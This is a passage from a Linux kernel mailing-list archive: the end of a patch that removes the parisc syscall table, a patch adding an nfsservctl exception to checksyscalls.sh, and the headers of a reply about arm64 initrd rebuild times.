-	ENTRY_SAME(fork_wrapper)
-	ENTRY_SAME(read)
-	ENTRY_SAME(write)
-	ENTRY_COMP(open)		/* 5 */
-	ENTRY_SAME(close)
-	ENTRY_SAME(waitpid)
-	ENTRY_SAME(creat)
-	ENTRY_SAME(link)
-	ENTRY_SAME(unlink)		/* 10 */
-	ENTRY_COMP(execve)
-	ENTRY_SAME(chdir)
-	/* See comments in kernel/time.c!!! Maybe we don't need this? */
-	ENTRY_COMP(time)
-	ENTRY_SAME(mknod)
-	ENTRY_SAME(chmod)		/* 15 */
-	ENTRY_SAME(lchown)
-	ENTRY_SAME(socket)
-	/* struct stat is MAYBE identical wide and narrow ?? */
-	ENTRY_COMP(newstat)
-	ENTRY_COMP(lseek)
-	ENTRY_SAME(getpid)		/* 20 */
-	/* the 'void * data' parameter may need re-packing in wide */
-	ENTRY_COMP(mount)
-	/* concerned about struct sockaddr in wide/narrow */
-	/* ---> I think sockaddr is OK unless the compiler packs the struct */
-	/*      differently to align the char array */
-	ENTRY_SAME(bind)
-	ENTRY_SAME(setuid)
-	ENTRY_SAME(getuid)
-	ENTRY_COMP(stime)		/* 25 */
-	ENTRY_COMP(ptrace)
-	ENTRY_SAME(alarm)
-	/* see stat comment */
-	ENTRY_COMP(newfstat)
-	ENTRY_SAME(pause)
-	/* struct utimbuf uses time_t which might vary */
-	ENTRY_COMP(utime)		/* 30 */
-	/* struct sockaddr... */
-	ENTRY_SAME(connect)
-	ENTRY_SAME(listen)
-	ENTRY_SAME(access)
-	ENTRY_SAME(nice)
-	/* struct sockaddr... */
-	ENTRY_SAME(accept)		/* 35 */
-	ENTRY_SAME(sync)
-	ENTRY_SAME(kill)
-	ENTRY_SAME(rename)
-	ENTRY_SAME(mkdir)
-	ENTRY_SAME(rmdir)		/* 40 */
-	ENTRY_SAME(dup)
-	ENTRY_SAME(pipe)
-	ENTRY_COMP(times)
-	/* struct sockaddr... */
-	ENTRY_SAME(getsockname)
-	/* it seems possible brk() could return a >4G pointer... */
-	ENTRY_SAME(brk)			/* 45 */
-	ENTRY_SAME(setgid)
-	ENTRY_SAME(getgid)
-	ENTRY_SAME(signal)
-	ENTRY_SAME(geteuid)
-	ENTRY_SAME(getegid)		/* 50 */
-	ENTRY_SAME(acct)
-	ENTRY_SAME(umount)
-	/* struct sockaddr... */
-	ENTRY_SAME(getpeername)
-	ENTRY_COMP(ioctl)
-	ENTRY_COMP(fcntl)		/* 55 */
-	ENTRY_SAME(socketpair)
-	ENTRY_SAME(setpgid)
-	ENTRY_SAME(send)
-	ENTRY_SAME(newuname)
-	ENTRY_SAME(umask)		/* 60 */
-	ENTRY_SAME(chroot)
-	ENTRY_COMP(ustat)
-	ENTRY_SAME(dup2)
-	ENTRY_SAME(getppid)
-	ENTRY_SAME(getpgrp)		/* 65 */
-	ENTRY_SAME(setsid)
-	ENTRY_SAME(pivot_root)
-	/* I don't like this */
-	ENTRY_UHOH(sgetmask)
-	ENTRY_UHOH(ssetmask)
-	ENTRY_SAME(setreuid)		/* 70 */
-	ENTRY_SAME(setregid)
-	ENTRY_SAME(mincore)
-	ENTRY_COMP(sigpending)
-	ENTRY_SAME(sethostname)
-	/* Following 3 have linux-common-code structs containing longs -( */
-	ENTRY_COMP(setrlimit)		/* 75 */
-	ENTRY_COMP(getrlimit)
-	ENTRY_COMP(getrusage)
-	/* struct timeval and timezone are maybe?? consistent wide and narrow */
-	ENTRY_COMP(gettimeofday)
-	ENTRY_COMP(settimeofday)
-	ENTRY_SAME(getgroups)		/* 80 */
-	ENTRY_SAME(setgroups)
-	/* struct socketaddr... */
-	ENTRY_SAME(sendto)
-	ENTRY_SAME(symlink)
-	/* see stat comment */
-	ENTRY_COMP(newlstat)
-	ENTRY_SAME(readlink)		/* 85 */
-	ENTRY_SAME(ni_syscall)	/* was uselib */
-	ENTRY_SAME(swapon)
-	ENTRY_SAME(reboot)
-	ENTRY_SAME(mmap2)
-	ENTRY_SAME(mmap)		/* 90 */
-	ENTRY_SAME(munmap)
-	ENTRY_COMP(truncate)
-	ENTRY_COMP(ftruncate)
-	ENTRY_SAME(fchmod)
-	ENTRY_SAME(fchown)		/* 95 */
-	ENTRY_SAME(getpriority)
-	ENTRY_SAME(setpriority)
-	ENTRY_SAME(recv)
-	ENTRY_COMP(statfs)
-	ENTRY_COMP(fstatfs)		/* 100 */
-	ENTRY_SAME(stat64)
-	ENTRY_SAME(ni_syscall)	/* was socketcall */
-	ENTRY_SAME(syslog)
-	/* even though manpage says struct timeval contains longs, ours has
-	 * time_t and suseconds_t -- both of which are safe wide/narrow */
-	ENTRY_COMP(setitimer)
-	ENTRY_COMP(getitimer)		/* 105 */
-	ENTRY_SAME(capget)
-	ENTRY_SAME(capset)
-	ENTRY_OURS(pread64)
-	ENTRY_OURS(pwrite64)
-	ENTRY_SAME(getcwd)		/* 110 */
-	ENTRY_SAME(vhangup)
-	ENTRY_SAME(fstat64)
-	ENTRY_SAME(vfork_wrapper)
-	/* struct rusage contains longs... */
-	ENTRY_COMP(wait4)
-	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_COMP(sysinfo)
-	ENTRY_SAME(shutdown)
-	ENTRY_SAME(fsync)
-	ENTRY_SAME(madvise)
-	ENTRY_SAME(clone_wrapper)	/* 120 */
-	ENTRY_SAME(setdomainname)
-	ENTRY_COMP(sendfile)
-	/* struct sockaddr... */
-	ENTRY_SAME(recvfrom)
-	/* struct timex contains longs */
-	ENTRY_COMP(adjtimex)
-	ENTRY_SAME(mprotect)		/* 125 */
-	/* old_sigset_t forced to 32 bits.  Beware glibc sigset_t */
-	ENTRY_COMP(sigprocmask)
-	ENTRY_SAME(ni_syscall)	/* create_module */
-	ENTRY_SAME(init_module)
-	ENTRY_SAME(delete_module)
-	ENTRY_SAME(ni_syscall)		/* 130: get_kernel_syms */
-	/* time_t inside struct dqblk */
-	ENTRY_SAME(quotactl)
-	ENTRY_SAME(getpgid)
-	ENTRY_SAME(fchdir)
-	ENTRY_SAME(bdflush)
-	ENTRY_SAME(sysfs)		/* 135 */
-	ENTRY_OURS(personality)
-	ENTRY_SAME(ni_syscall)	/* for afs_syscall */
-	ENTRY_SAME(setfsuid)
-	ENTRY_SAME(setfsgid)
-	/* I think this might work */
-	ENTRY_SAME(llseek)		/* 140 */
-	ENTRY_COMP(getdents)
-	/* it is POSSIBLE that select will be OK because even though fd_set
-	 * contains longs, the macros and sizes are clever. */
-	ENTRY_COMP(select)
-	ENTRY_SAME(flock)
-	ENTRY_SAME(msync)
-	/* struct iovec contains pointers */
-	ENTRY_COMP(readv)		/* 145 */
-	ENTRY_COMP(writev)
-	ENTRY_SAME(getsid)
-	ENTRY_SAME(fdatasync)
-	/* struct __sysctl_args is a mess */
-	ENTRY_COMP(sysctl)
-	ENTRY_SAME(mlock)		/* 150 */
-	ENTRY_SAME(munlock)
-	ENTRY_SAME(mlockall)
-	ENTRY_SAME(munlockall)
-	/* struct sched_param is ok for now */
-	ENTRY_SAME(sched_setparam)
-	ENTRY_SAME(sched_getparam)	/* 155 */
-	ENTRY_SAME(sched_setscheduler)
-	ENTRY_SAME(sched_getscheduler)
-	ENTRY_SAME(sched_yield)
-	ENTRY_SAME(sched_get_priority_max)
-	ENTRY_SAME(sched_get_priority_min)	/* 160 */
-	ENTRY_COMP(sched_rr_get_interval)
-	ENTRY_COMP(nanosleep)
-	ENTRY_SAME(mremap)
-	ENTRY_SAME(setresuid)
-	ENTRY_SAME(getresuid)		/* 165 */
-	ENTRY_COMP(sigaltstack)
-	ENTRY_SAME(ni_syscall)		/* query_module */
-	ENTRY_SAME(poll)
-	/* structs contain pointers and an in_addr... */
-	ENTRY_SAME(ni_syscall)		/* was nfsservctl */
-	ENTRY_SAME(setresgid)		/* 170 */
-	ENTRY_SAME(getresgid)
-	ENTRY_SAME(prctl)
-	/* signals need a careful review */
-	ENTRY_SAME(rt_sigreturn_wrapper)
-	ENTRY_COMP(rt_sigaction)
-	ENTRY_COMP(rt_sigprocmask)	/* 175 */
-	ENTRY_COMP(rt_sigpending)
-	ENTRY_COMP(rt_sigtimedwait)
-	/* even though the struct siginfo_t is different, it appears like
-	 * all the paths use values which should be same wide and narrow.
-	 * Also the struct is padded to 128 bytes which means we don't have
-	 * to worry about faulting trying to copy in a larger 64-bit
-	 * struct from a 32-bit user-space app.
-	 */
-	ENTRY_COMP(rt_sigqueueinfo)
-	ENTRY_COMP(rt_sigsuspend)
-	ENTRY_SAME(chown)		/* 180 */
-	/* setsockopt() used by iptables: SO_SET_REPLACE/SO_SET_ADD_COUNTERS */
-	ENTRY_COMP(setsockopt)
-	ENTRY_COMP(getsockopt)
-	ENTRY_COMP(sendmsg)
-	ENTRY_COMP(recvmsg)
-	ENTRY_SAME(semop)		/* 185 */
-	ENTRY_SAME(semget)
-	ENTRY_COMP(semctl)
-	ENTRY_COMP(msgsnd)
-	ENTRY_COMP(msgrcv)
-	ENTRY_SAME(msgget)		/* 190 */
-	ENTRY_COMP(msgctl)
-	ENTRY_COMP(shmat)
-	ENTRY_SAME(shmdt)
-	ENTRY_SAME(shmget)
-	ENTRY_COMP(shmctl)		/* 195 */
-	ENTRY_SAME(ni_syscall)		/* streams1 */
-	ENTRY_SAME(ni_syscall)		/* streams2 */
-	ENTRY_SAME(lstat64)
-	ENTRY_OURS(truncate64)
-	ENTRY_OURS(ftruncate64)		/* 200 */
-	ENTRY_SAME(getdents64)
-	ENTRY_COMP(fcntl64)
-	ENTRY_SAME(ni_syscall)	/* attrctl -- dead */
-	ENTRY_SAME(ni_syscall)	/* acl_get -- dead */
-	ENTRY_SAME(ni_syscall)		/* 205 (acl_set -- dead) */
-	ENTRY_SAME(gettid)
-	ENTRY_OURS(readahead)
-	ENTRY_SAME(tkill)
-	ENTRY_COMP(sendfile64)
-	ENTRY_COMP(futex)		/* 210 */
-	ENTRY_COMP(sched_setaffinity)
-	ENTRY_COMP(sched_getaffinity)
-	ENTRY_SAME(ni_syscall)	/* set_thread_area */
-	ENTRY_SAME(ni_syscall)	/* get_thread_area */
-	ENTRY_COMP(io_setup)		/* 215 */
-	ENTRY_SAME(io_destroy)
-	ENTRY_COMP(io_getevents)
-	ENTRY_COMP(io_submit)
-	ENTRY_SAME(io_cancel)
-	ENTRY_SAME(ni_syscall)		/* 220: was alloc_hugepages */
-	ENTRY_SAME(ni_syscall)		/* was free_hugepages */
-	ENTRY_SAME(exit_group)
-	ENTRY_COMP(lookup_dcookie)
-	ENTRY_SAME(epoll_create)
-	ENTRY_SAME(epoll_ctl)		/* 225 */
-	ENTRY_SAME(epoll_wait)
- 	ENTRY_SAME(remap_file_pages)
-	ENTRY_COMP(semtimedop)
-	ENTRY_COMP(mq_open)
-	ENTRY_SAME(mq_unlink)		/* 230 */
-	ENTRY_COMP(mq_timedsend)
-	ENTRY_COMP(mq_timedreceive)
-	ENTRY_COMP(mq_notify)
-	ENTRY_COMP(mq_getsetattr)
-	ENTRY_COMP(waitid)		/* 235 */
-	ENTRY_OURS(fadvise64_64)
-	ENTRY_SAME(set_tid_address)
-	ENTRY_SAME(setxattr)
-	ENTRY_SAME(lsetxattr)
-	ENTRY_SAME(fsetxattr)		/* 240 */
-	ENTRY_SAME(getxattr)
-	ENTRY_SAME(lgetxattr)
-	ENTRY_SAME(fgetxattr)
-	ENTRY_SAME(listxattr)
-	ENTRY_SAME(llistxattr)		/* 245 */
-	ENTRY_SAME(flistxattr)
-	ENTRY_SAME(removexattr)
-	ENTRY_SAME(lremovexattr)
-	ENTRY_SAME(fremovexattr)
-	ENTRY_COMP(timer_create)	/* 250 */
-	ENTRY_COMP(timer_settime)
-	ENTRY_COMP(timer_gettime)
-	ENTRY_SAME(timer_getoverrun)
-	ENTRY_SAME(timer_delete)
-	ENTRY_COMP(clock_settime)	/* 255 */
-	ENTRY_COMP(clock_gettime)
-	ENTRY_COMP(clock_getres)
-	ENTRY_COMP(clock_nanosleep)
-	ENTRY_SAME(tgkill)
-	ENTRY_COMP(mbind)		/* 260 */
-	ENTRY_COMP(get_mempolicy)
-	ENTRY_COMP(set_mempolicy)
-	ENTRY_SAME(ni_syscall)	/* 263: reserved for vserver */
-	ENTRY_SAME(add_key)
-	ENTRY_SAME(request_key)		/* 265 */
-	ENTRY_COMP(keyctl)
-	ENTRY_SAME(ioprio_set)
-	ENTRY_SAME(ioprio_get)
-	ENTRY_SAME(inotify_init)
-	ENTRY_SAME(inotify_add_watch)	/* 270 */
-	ENTRY_SAME(inotify_rm_watch)
-	ENTRY_SAME(migrate_pages)
-	ENTRY_COMP(pselect6)
-	ENTRY_COMP(ppoll)
-	ENTRY_COMP(openat)		/* 275 */
-	ENTRY_SAME(mkdirat)
-	ENTRY_SAME(mknodat)
-	ENTRY_SAME(fchownat)
-	ENTRY_COMP(futimesat)
-	ENTRY_SAME(fstatat64)		/* 280 */
-	ENTRY_SAME(unlinkat)
-	ENTRY_SAME(renameat)
-	ENTRY_SAME(linkat)
-	ENTRY_SAME(symlinkat)
-	ENTRY_SAME(readlinkat)		/* 285 */
-	ENTRY_SAME(fchmodat)
-	ENTRY_SAME(faccessat)
-	ENTRY_SAME(unshare)
-	ENTRY_COMP(set_robust_list)
-	ENTRY_COMP(get_robust_list)	/* 290 */
-	ENTRY_SAME(splice)
-	ENTRY_OURS(sync_file_range)
-	ENTRY_SAME(tee)
-	ENTRY_COMP(vmsplice)
-	ENTRY_COMP(move_pages)		/* 295 */
-	ENTRY_SAME(getcpu)
-	ENTRY_COMP(epoll_pwait)
-	ENTRY_COMP(statfs64)
-	ENTRY_COMP(fstatfs64)
-	ENTRY_COMP(kexec_load)		/* 300 */
-	ENTRY_COMP(utimensat)
-	ENTRY_COMP(signalfd)
-	ENTRY_SAME(ni_syscall)		/* was timerfd */
-	ENTRY_SAME(eventfd)
-	ENTRY_OURS(fallocate)		/* 305 */
-	ENTRY_SAME(timerfd_create)
-	ENTRY_COMP(timerfd_settime)
-	ENTRY_COMP(timerfd_gettime)
-	ENTRY_COMP(signalfd4)
-	ENTRY_SAME(eventfd2)		/* 310 */
-	ENTRY_SAME(epoll_create1)
-	ENTRY_SAME(dup3)
-	ENTRY_SAME(pipe2)
-	ENTRY_SAME(inotify_init1)
-	ENTRY_COMP(preadv)		/* 315 */
-	ENTRY_COMP(pwritev)
-	ENTRY_COMP(rt_tgsigqueueinfo)
-	ENTRY_SAME(perf_event_open)
-	ENTRY_COMP(recvmmsg)
-	ENTRY_SAME(accept4)		/* 320 */
-	ENTRY_SAME(prlimit64)
-	ENTRY_SAME(fanotify_init)
-	ENTRY_DIFF(fanotify_mark)
-	ENTRY_COMP(clock_adjtime)
-	ENTRY_SAME(name_to_handle_at)	/* 325 */
-	ENTRY_COMP(open_by_handle_at)
-	ENTRY_SAME(syncfs)
-	ENTRY_SAME(setns)
-	ENTRY_COMP(sendmmsg)
-	ENTRY_COMP(process_vm_readv)	/* 330 */
-	ENTRY_COMP(process_vm_writev)
-	ENTRY_SAME(kcmp)
-	ENTRY_SAME(finit_module)
-	ENTRY_SAME(sched_setattr)
-	ENTRY_SAME(sched_getattr)	/* 335 */
-	ENTRY_COMP(utimes)
-	ENTRY_SAME(renameat2)
-	ENTRY_SAME(seccomp)
-	ENTRY_SAME(getrandom)
-	ENTRY_SAME(memfd_create)	/* 340 */
-	ENTRY_SAME(bpf)
-	ENTRY_COMP(execveat)
-	ENTRY_SAME(membarrier)
-	ENTRY_SAME(userfaultfd)
-	ENTRY_SAME(mlock2)		/* 345 */
-	ENTRY_SAME(copy_file_range)
-	ENTRY_COMP(preadv2)
-	ENTRY_COMP(pwritev2)
-	ENTRY_SAME(statx)
-	ENTRY_COMP(io_pgetevents)	/* 350 */
-
-
-.ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
-.error "size of syscall table does not fit value of __NR_Linux_syscalls"
-.endif
-
-#undef ENTRY_SAME
-#undef ENTRY_DIFF
-#undef ENTRY_UHOH
-#undef ENTRY_COMP
-#undef ENTRY_OURS
-- 
1.9.1



From - Thu Nov 08 21:42:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 5/5] parisc: syscalls: ignore nfsservctl for other architectures
Date: Fri, 26 Oct 2018 10:43:11 +0530
Lines: 30
Approved: news@gmane.org
Message-ID: <1540530791-3961-6-git-send-email-firoz.khan@linaro.org>
References: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1540530731 26501 195.159.176.226 (26 Oct 2018 05:12:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 05:12:11 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 07:12:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFuPk-0006kL-7A
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 07:12:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727436AbeJZNtn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 09:49:43 -0400
Original-Received: from mail-pl1-f194.google.com ([209.85.214.194]:39464 "EHLO
        mail-pl1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725849AbeJZNtm (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 09:49:42 -0400
Original-Received: by mail-pl1-f194.google.com with SMTP id e67-v6so4918439plb.6
        for <linux-kernel@vger.kernel.org>; Thu, 25 Oct 2018 22:14:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=0PBH0SiDBTS5A/xCIVzOHbzcxzD+kYNUD3TokR7YxPA=;
        b=NcJIvYQhdNJIAO6MZvPj9r2/cUbrsbW8Rm7RoSXpJuMhu++5LQ/txBjKU4qOKn1H/H
         ZLhkQb+aFVPPGhwukC35V8RckOXwWbT/PwCBEnN825YKze/yzZ+Ce/GTBSaD1ybyP50k
         rK3xYQiDUKdPpW+pIMqwjagkCMuZJZCCtNRhI=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=0PBH0SiDBTS5A/xCIVzOHbzcxzD+kYNUD3TokR7YxPA=;
        b=ddu1bCFWEOmWQkWT/uaH3ecGFWDDDACAHDErm04rfbDivfe5HMh37vofyFA9zIhAuS
         +2VaionQTb6VB51fEat1g0tbaRRURrmpITc4yx1ki3mtpIIDP1Jaubv0BBDSrbj4D83W
         aEOBqZg/n/uOtO9HBzDa/khdut2DkH6j0zOEJWQT74Wipq7XItnPR2otwCN7SCRySsCl
         NN6F0zWJQTp6KH9fS0nLAl7387qhS7Scw3enBIxpfg9qx+Ii87vao4Ro5Si5A+SdoIQ3
         fkYhNKlHQxuxbCg6VWkXip6sQC+btr4j2dT+c4GJp45HheZFLGxNIBcMd2DVNappGMgD
         IAjQ==
X-Gm-Message-State: AGRZ1gJl0QZdTVNErgIERXZ94U1jRJUWynCYb74SETyn98wXIAN9JoM/
        ZIBqLWMReaKLathZYyBfjPEQ8bIzmHo=
X-Google-Smtp-Source: AJdET5fE83mDgW7QXknmg5fmbtPhZFGm9JbVqLfaydVTvIxpHYgHsR3f/lFBNqGZBZmhZiqt9MGhKw==
X-Received: by 2002:a17:902:7683:: with SMTP id m3-v6mr2155878pll.180.1540530851576;
        Thu, 25 Oct 2018 22:14:11 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.61.165])
        by smtp.gmail.com with ESMTPSA id m16-v6sm3329302pff.173.2018.10.25.22.14.06
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 25 Oct 2018 22:14:11 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908466 gmane.linux.ports.parisc:29247 gmane.linux.kernel.year-2038:3557 gmane.linux.kernel.cross-arch:48099
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908466>

This adds an exception to the syscall table checking script.

nfsservctl entry is only provided on x86, and there is no
reason to add it elsewhere. However, including it on the
syscall table caused a warning for most configurations on
non-x86.

<stdin>:696:2: warning: #warning syscall nfsservctl not implemented [-Wcpp]

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 scripts/checksyscalls.sh | 1 +
 1 file changed, 1 insertion(+)

diff --git a/scripts/checksyscalls.sh b/scripts/checksyscalls.sh
index ee3dfb5..cf93100 100755
--- a/scripts/checksyscalls.sh
+++ b/scripts/checksyscalls.sh
@@ -150,6 +150,7 @@ cat << EOF
 #define __IGNORE_uselib
 #define __IGNORE__sysctl
 #define __IGNORE_arch_prctl
+#define __IGNORE_nfsservctl
 
 /* ... including the "new" 32-bit uid syscalls */
 #define __IGNORE_lchown32
-- 
1.9.1



From - Thu Nov 08 21:42:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing
 CONFIG_BLK_DEV_INITRD
Date: Fri, 26 Oct 2018 09:12:25 +0100
Lines: 128
Approved: news@gmane.org
Message-ID: <20181026081224.GB27364@rapoport-lnx>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
 <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
 <20181025093833.GA23607@rapoport-lnx>
 <CAL_JsqL62ttsGSbE1BS5v-mX3pKE-p_HyvuZD6nB+GUbQyetzg@mail.gmail.com>
 <20181025172935.GA27364@rapoport-lnx>
 <CAL_JsqJrMq+QHvuOsqEdCFchmXsd4s2XKUD_TboKzeEQprJvjg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1540541454 12586 195.159.176.226 (26 Oct 2018 08:10:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 08:10:54 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: Ard Biesheuvel <ard.biesheuvel@linaro.org>,
        Florian Fainelli <f.fainelli@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <
To: Rob Herring <robh@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 10:10:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFxCc-000354-Ce
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 10:10:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726330AbeJZQsy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 12:48:54 -0400
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]:53108 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1726113AbeJZQsx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 12:48:53 -0400
Original-Received: from pps.filterd (m0098419.ppops.net [127.0.0.1])
        by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w9Q89vMX100093
        for <linux-kernel@vger.kernel.org>; Fri, 26 Oct 2018 04:12:48 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
        by mx0b-001b2d01.pphosted.com with ESMTP id 2nbvecxwcv-1
        (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Fri, 26 Oct 2018 04:12:48 -0400
Original-Received: from localhost
        by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <rppt@linux.ibm.com>;
        Fri, 26 Oct 2018 09:12:45 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
        by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
        Fri, 26 Oct 2018 09:12:36 +0100
Original-Received: from d06av24.portsmouth.uk.ibm.com (mk.ibm.com [9.149.105.60])
        by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w9Q8CZGQ20119794
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Fri, 26 Oct 2018 08:12:35 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 0CA9542042;
        Fri, 26 Oct 2018 08:12:35 +0000 (GMT)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 5C81E4203F;
        Fri, 26 Oct 2018 08:12:28 +0000 (GMT)
Original-Received: from rapoport-lnx (unknown [9.148.204.85])
        by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Fri, 26 Oct 2018 08:12:28 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <CAL_JsqJrMq+QHvuOsqEdCFchmXsd4s2XKUD_TboKzeEQprJvjg@mail.gmail.com>
X-TM-AS-GCONF: 00
x-cbid: 18102608-0020-0000-0000-000002DA8D36
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18102608-0021-0000-0000-00002129C562
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:,, definitions=2018-10-26_05:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1810260073
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
